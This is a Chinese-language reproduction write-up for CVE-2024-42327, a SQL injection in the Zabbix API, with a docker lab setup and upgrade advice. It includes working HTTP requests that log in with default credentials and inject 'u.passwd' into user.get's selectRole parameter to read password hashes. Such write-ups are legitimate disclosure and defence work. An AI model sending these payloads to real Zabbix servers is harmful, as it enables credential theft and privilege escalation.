
Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。
漏洞编号:CVE-2024-42327
Zabbix的addRelatedObjects 函数中的 CUser 类中存在 SQL注入漏洞,该函数是从 CUser.get 函数调用,具有 API 访问权限的用户都可以利用,进而实现权限提升或访问敏感信息。
6.0.0 <= Zabbix <= 6.0.31
6.4.0 <= Zabbix <= 6.4.16
Zabbix = 7.0.0
https://www.zabbix.com/documentation/current/en/manual/installation/containers
使用docker进行搭建,拉取镜像,这里选用的版本为6.4.16

创建专用于 Zabbix 组件容器的网络
docker network create zabbix_net
启动Zabbix数据库容器
docker run --name mysql-server -t -e MYSQL_DATABASE="zabbix" -e MYSQL_USER="zabbix" -e MYSQL_PASSWORD="zabbix_pwd" -e MYSQL_ROOT_PASSWORD="root_pwd" --network=zabbix_net --restart unless-stopped -d mysql:8.0 --character-set-server=utf8 --collation-server=utf8_bin --default-authentication-plugin=mysql_native_password
启动Zabbix Java网关
docker run --name zabbix-java-gateway -t --network=zabbix_net --restart unless-stopped -d zabbix/zabbix-java-gateway:alpine-6.4.16
启动Zabbix服务器容器
docker run --name zabbix-server-mysql -t -e DB_SERVER_HOST="mysql-server" -e MYSQL_DATABASE="zabbix" -e MYSQL_USER="zabbix" -e MYSQL_PASSWORD="zabbix_pwd" -e MYSQL_ROOT_PASSWORD="root_pwd" -e ZBX_JAVAGATEWAY="zabbix-java-gateway" --network=zabbix_net -p 10051:10051 --restart unless-stopped -d zabbix/zabbix-server-mysql:alpine-6.4.16
启动Zabbix Web容器
docker run --name zabbix-web-nginx-mysql -t -e ZBX_SERVER_HOST="zabbix-server-mysql" -e DB_SERVER_HOST="mysql-server" -e MYSQL_DATABASE="zabbix" -e MYSQL_USER="zabbix" -e MYSQL_PASSWORD="zabbix_pwd" -e MYSQL_ROOT_PASSWORD="root_pwd" --network=zabbix_net -p 80:8080 --restart unless-stopped -d zabbix/zabbix-web-nginx-mysql:alpine-6.4.16
搭建完成后访问http://IP/index.php,使用默认用户名密码登录Admin/zabbix

对api_jsonrpc.php进行POST请求,根据用户名密码构建json数据,获取对应的值
POST /api_jsonrpc.php HTTP/1.1
Host: IP
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 107
{"jsonrpc": "2.0", "method": "user.login", "params":{"username": "Admin", "password": "zabbix"}, "id": 1}

将得到的值写入新的json对象中,获取password
POST /api_jsonrpc.php HTTP/1.1
Host: IP
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 169
{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, u.passwd", "roleid"], "userids": "1"}, "auth": "78c2bc1dbc4649797201a67729684b38", "id": 1}

目前官方已发布新版本修复该漏洞,建议受影响用户升级到Zabbix 6.0.32rc1、Zabbix 6.4.17rc1、Zabbix 7.0.1rc1或更高版本
官网地址:https://www.zabbix.com/download
https://support.zabbix.com/browse/ZBX-25623
本文分享自 Timeline Sec 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!